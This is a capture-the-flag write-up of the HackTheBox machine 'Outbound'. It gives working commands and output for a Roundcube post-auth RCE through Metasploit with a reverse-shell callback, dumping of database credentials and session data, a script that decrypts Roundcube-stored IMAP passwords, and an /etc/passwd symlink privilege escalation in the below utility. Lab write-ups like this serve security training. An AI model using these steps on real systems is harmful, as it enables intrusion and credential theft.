Post

HackTheBox Outbound

Writeup for HackTheBox Outbound

HackTheBox Outbound

Machine Synopsis

Key Exploitation Techniques

  • Enumeration of services → Roundcube Webmail identified
  • Authenticated RCE in Roundcube (CVE-2025-49113)
  • Dumping session data and decrypting Roundcube-stored IMAP credentials
  • SSH access as jacob
  • Privilege escalation via vulnerable below utility (CVE-2025-27591)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Shiro ❯  python3 nmap_owo.py 10.10.11.77
[i] Resolved 10.10.11.77 to 10.10.11.77

=============== Phase 1: TCP Port Scanning ===============
[i] Full TCP scan result already exists, skipping: nmap_scan/01_tcp_full.xml
[+] Discovered open TCP ports: [22, 80]
[i] Detailed TCP scan result already exists, skipping: nmap_scan/02_tcp_detail.xml

=============== Phase 2: Hostname Discovery ===============
[+] Hostname(s) discovered: outbound.htb, mail.outbound.htb
[+] To add this entry, run:
    echo -e '10.10.11.77\toutbound.htb mail.outbound.htb' | sudo tee -a /etc/hosts
[i] Rerun with sudo for automatic update.

=============== Phase 4: Service Summary ===============
  - 22/tcp	ssh (OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 Ubuntu Linux; protocol 2.0)
    |  ssh-hostkey: 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
    |_ ssh-hostkey: 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
  - 80/tcp	http (nginx 1.24.0 Ubuntu)
    |_ http-server-header: nginx/1.24.0 (Ubuntu)
    |_ http-title: Did not follow redirect to http://mail.outbound.htb/

Update /etc/hosts:

1
Shiro ❯  echo -e '10.10.11.77\toutbound.htb mail.outbound.htb' | sudo tee -a /etc/hosts

Navigating to http://outbound.htb redirects to http://mail.outbound.htb/ which hosts Roundcube Webmail.

webpage

At this point I tested login with provided creds (tyler:LhKL1o9Nm3X2) → success.

dashboard

Exploitation

Checking “About” shows version 1.6.10.

Googling → vulnerable to CVE-2025-49113 (Post-Auth RCE via PHP Object Deserialization in actions/settings/upload.php).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Shiro ❯  msfconsole -q
[*] Starting persistent handler(s)...
msf > search roundcube
   0  exploit/multi/http/roundcube_auth_rce_cve_2025_49113  2025-06-02       excellent  Yes    Roundcube Post-Auth RCE via PHP Object Deserialization
   1    \_ target: Linux Dropper                            .                .          .      .
   2    \_ target: Linux Command                            .                .          .      .
   3  auxiliary/gather/roundcube_auth_file_read             2017-11-09       normal     No     Roundcube TimeZone Authenticated File Disclosure
   
msf > use 0
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set rhosts http://mail.outbound.htb
msf exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set lhost tun0
msf exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set username tyler
msf exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set password LhKL1o9Nm3X2
msf exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > run
[*] Started reverse TCP handler on 10.10.16.7:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Extracted version: 10610
[+] The target appears to be vulnerable.
[*] Fetching CSRF token...
[+] Extracted token: bNiDFSXZDf4XCt48CRLGtKWglAbyD5cM
[*] Attempting login...
[+] Login successful.
[*] Preparing payload...
[+] Payload successfully generated and serialized.
[*] Uploading malicious payload...
[+] Exploit attempt complete. Check for session.
[*] Sending stage (3090404 bytes) to 10.10.11.77
[*] Meterpreter session 1 opened (10.10.16.7:4444 -> 10.10.11.77:38356)
meterpreter > shell
Process 665 created.
Channel 1 created.
whoami
www-data
script -c /bin/bash /dev/null
Script started, output log file is '/dev/null'.
www-data@mail:/$ 

Post Exploitation - Config and Database Loot

Dump the Roundcube’s config.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
www-data@mail:~/html/roundcube/config$ ls
config.inc.php	config.inc.php.sample  defaults.inc.php  mimetypes.php
www-data@mail:~/html/roundcube/config$ cat config.inc.php
<?php

/*
 +-----------------------------------------------------------------------+
 | Local configuration for the Roundcube Webmail installation.           |
 |                                                                       |
 | This is a sample configuration file only containing the minimum       |
 | setup required for a functional installation. Copy more options       |
 | from defaults.inc.php to this file to override the defaults.          |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
*/

$config = [];

// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
//       or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';

// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';

// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';

// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';

// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';

// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';

// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';

// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

// List of active plugins (in plugins/ directory)
$config['plugins'] = [
    'archive',
    'zipdownload',
];

// skin name: folder from skins/
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';

List all running processes that are not owned by www-data.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ps aux | grep -v www-data
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   4324  3072 ?        Ss   10:00   0:00 /bin/bash /root/init.sh
root          34  0.0  0.0   2800  1792 ?        S    10:00   0:00 /bin/sh /usr/bin/mariadbd-safe
mysql        137  0.1  3.0 1541136 120848 ?      Sl   10:00   0:04 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock
root         138  0.0  0.0   6196  2432 ?        S    10:00   0:00 logger -t mysqld -p daemon error
root         200  0.0  0.0  11156  1656 ?        Ss   10:00   0:00 nginx: master process /usr/sbin/nginx
root         247  0.0  0.2 239752 10280 ?        Ss   10:00   0:00 php-fpm: master process (/etc/php/8.3/fpm/php-fpm.conf)
root         557  0.0  0.1  42856  4752 ?        Ss   10:00   0:00 /usr/lib/postfix/sbin/master -w
postfix      558  0.0  0.1  42884  7168 ?        S    10:00   0:00 pickup -l -t unix -u -c
postfix      559  0.0  0.1  42924  7296 ?        S    10:00   0:00 qmgr -l -t unix -u
root         568  0.0  0.0   2728  1408 ?        S    10:00   0:00 tail -f /dev/null
root        1601  0.0  0.0   8544  2848 ?        Ss   11:01   0:00 /usr/sbin/dovecot -c /etc/dovecot/dovecot.conf
dovecot     1602  0.0  0.0   5024  2816 ?        S    11:01   0:00 dovecot/anvil
root        1603  0.0  0.0   5164  3072 ?        S    11:01   0:00 dovecot/log
root        1604  0.0  0.1   7696  4736 ?        S    11:01   0:00 dovecot/config

Access the mysql database using the credentials found in config file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
www-data@mail:~/html/roundcube/config$ mysql -u roundcube -pRCDBPass2025 -h localhost roundcube
MariaDB [roundcube]> show tables;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache               |
| cache_index         |
| cache_messages      |
| cache_shared        |
| cache_thread        |
| collected_addresses |
| contactgroupmembers |
| contactgroups       |
| contacts            |
| dictionary          |
| filestore           |
| identities          |
| responses           |
| searches            |
| session             |
| system              |
| users               |
+---------------------+
17 rows in set (0.000 sec)

MariaDB [roundcube]> select * from users;
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
| user_id | username | mail_host | created             | last_login          | failed_login        | failed_login_counter | language | preferences                                       |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
|       1 | jacob    | localhost | 2025-06-07 13:55:18 | 2025-06-11 07:52:49 | 2025-06-11 07:51:32 |                    1 | en_US    | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";} |
|       2 | mel      | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL                |                 NULL | en_US    | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";} |
|       3 | tyler    | localhost | 2025-06-08 13:28:55 | 2025-08-28 10:04:16 | 2025-06-11 07:51:22 |                    1 | en_US    | a:1:{s:11:"client_hash";s:16:"Y2Rz3HTwxwLJHevI";} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
3 rows in set (0.000 sec)
MariaDB [roundcube]> select * from session;
...
| 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 |
...

Found an interesting session dump.

1
2
Shiro ❯  echo 'bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7' | base64 -d             
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}list_mod_seq|s:2:"10";%   

Decrypting Roundcube Password

Roundcube stores IMAP pass in 3DES. Using $config['des_key'].

Using ChatGPT, I prompted it to create a roundcube decryption script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Shiro ❯  cat roundcube_decrypt.py     
   1   │ from base64 import b64decode
   2   │ from Crypto.Cipher import DES3
   3   │ from Crypto.Util.Padding import unpad
   4   │ 
   5   │ def roundcube_decrypt(enc_b64: str, des_key: str) -> str:
   6   │     """
   7   │     Decrypt a Roundcube-encrypted string (DES-EDE3-CBC).
   8   │     - enc_b64: base64 string from session/DB (IV is prepended)
   9   │     - des_key: $config['des_key'] (must be exactly 24 characters)
  10   │     """
  11   │     # Roundcube requires 24-char key for DES-EDE3-CBC
  12   │     if len(des_key) != 24:
  13   │         raise ValueError("des_key must be exactly 24 characters for DES-EDE3-CBC")
  14   │ 
  15   │     # Decode and split IV + ciphertext (IV is first 8 bytes)
  16   │     data = b64decode(enc_b64)
  17   │     iv, ciphertext = data[:8], data[8:]
  18   │ 
  19   │     # PyCryptodome enforces DES key parity; fix it to match OpenSSL/PHP usage
  20   │     key = DES3.adjust_key_parity(des_key.encode("utf-8"))
  21   │ 
  22   │     # Build cipher and decrypt
  23   │     cipher = DES3.new(key, DES3.MODE_CBC, iv=iv)
  24   │     plaintext = cipher.decrypt(ciphertext)
  25   │ 
  26   │     # Roundcube padding: cleartext + 0x80 + zero padding
  27   │     plaintext = plaintext.rstrip(b"\x00")
  28   │     if plaintext.endswith(b"\x80"):
  29   │         plaintext = plaintext[:-1]
  30   │ 
  31   │     return plaintext.decode(errors="ignore")
  32   │ 
  33   │ 
  34   │ # Example (matches Roundcube sample config key)
  35   │ if __name__ == "__main__":
  36   │     enc_value = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"   	# encrypted value
  37   │     des_key   = "rcmail-!24ByteDESkey*Str"             # des key found
  38   │     print(roundcube_decrypt(enc_value, des_key))
Shiro ❯  python3 roundcube_decrypt.py 
595mO8DmwGeD

Decrypting the encrypted value reveals the value 595mO8DmwGeD.

Using this, we can access Jacob’s mailbox.

jacob_mailbox

In Jacob’s mailbox, we found new password: gY4Wr3a1evp4.

Lateral Movement - SSH

1
2
3
Shiro ❯  ssh jacob@outbound.htb          
jacob@outbound:~$ cat user.txt 
329babdad045ac156a0c2b26d8f4f2cc

Privilege Escalation - below

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

jacob@outbound:~$ below -h
Usage: below [OPTIONS] [COMMAND]

Commands:
  live      Display live system data (interactive) (default)
  record    Record local system data (daemon mode)
  replay    Replay historical data (interactive)
  debug     Debugging facilities (for development use)
  dump      Dump historical data into parseable text format
  snapshot  Create a historical snapshot file for a given time range
  help      Print this message or the help of the given subcommand(s)

Options:
      --config <CONFIG>  [default: /etc/below/below.conf]
  -d, --debug            
  -h, --help             Print help

Searching for below linux exploit → vulnerable to CVE-2025-27591.

Clone exploit:

1
2
3
Shiro ❯  git clone https://github.com/BridgerAlderson/CVE-2025-27591-PoC
Shiro ❯  cd CVE-2025-27591-PoC 
Shiro ❯  python3 -m http.server 80

Transfer to target:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
jacob@outbound:~$ wget http://10.10.16.8/exploit.py
jacob@outbound:~$ chmod +x exploit.py 
jacob@outbound:~$ ./exploit.py 
[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] /var/log/below/error_root.log is a regular file. Removing it...
[+] Symlink created: /var/log/below/error_root.log -> /etc/passwd
[+] Target is vulnerable.
[*] Starting exploitation...
[+] Wrote malicious passwd line to /tmp/attacker
[+] Symlink set: /var/log/below/error_root.log -> /etc/passwd
[*] Executing 'below record' as root to trigger logging...
Aug 29 03:11:05.298 DEBG Starting up!
Aug 29 03:11:05.298 ERRO 
----------------- Detected unclean exit ---------------------
Error Message: Failed to acquire file lock on index file: /var/log/below/store/index_01756425600: EAGAIN: Try again
-------------------------------------------------------------
[+] 'below record' executed.
[*] Appending payload into /etc/passwd via symlink...
[+] Payload appended successfully.
[*] Attempting to switch to root shell via 'su attacker'...
root@outbound:/home/jacob# cat /root/root.txt 
007fb7e9d023a118ad2a80446fec5baa
This post is licensed under CC BY 4.0 by the author.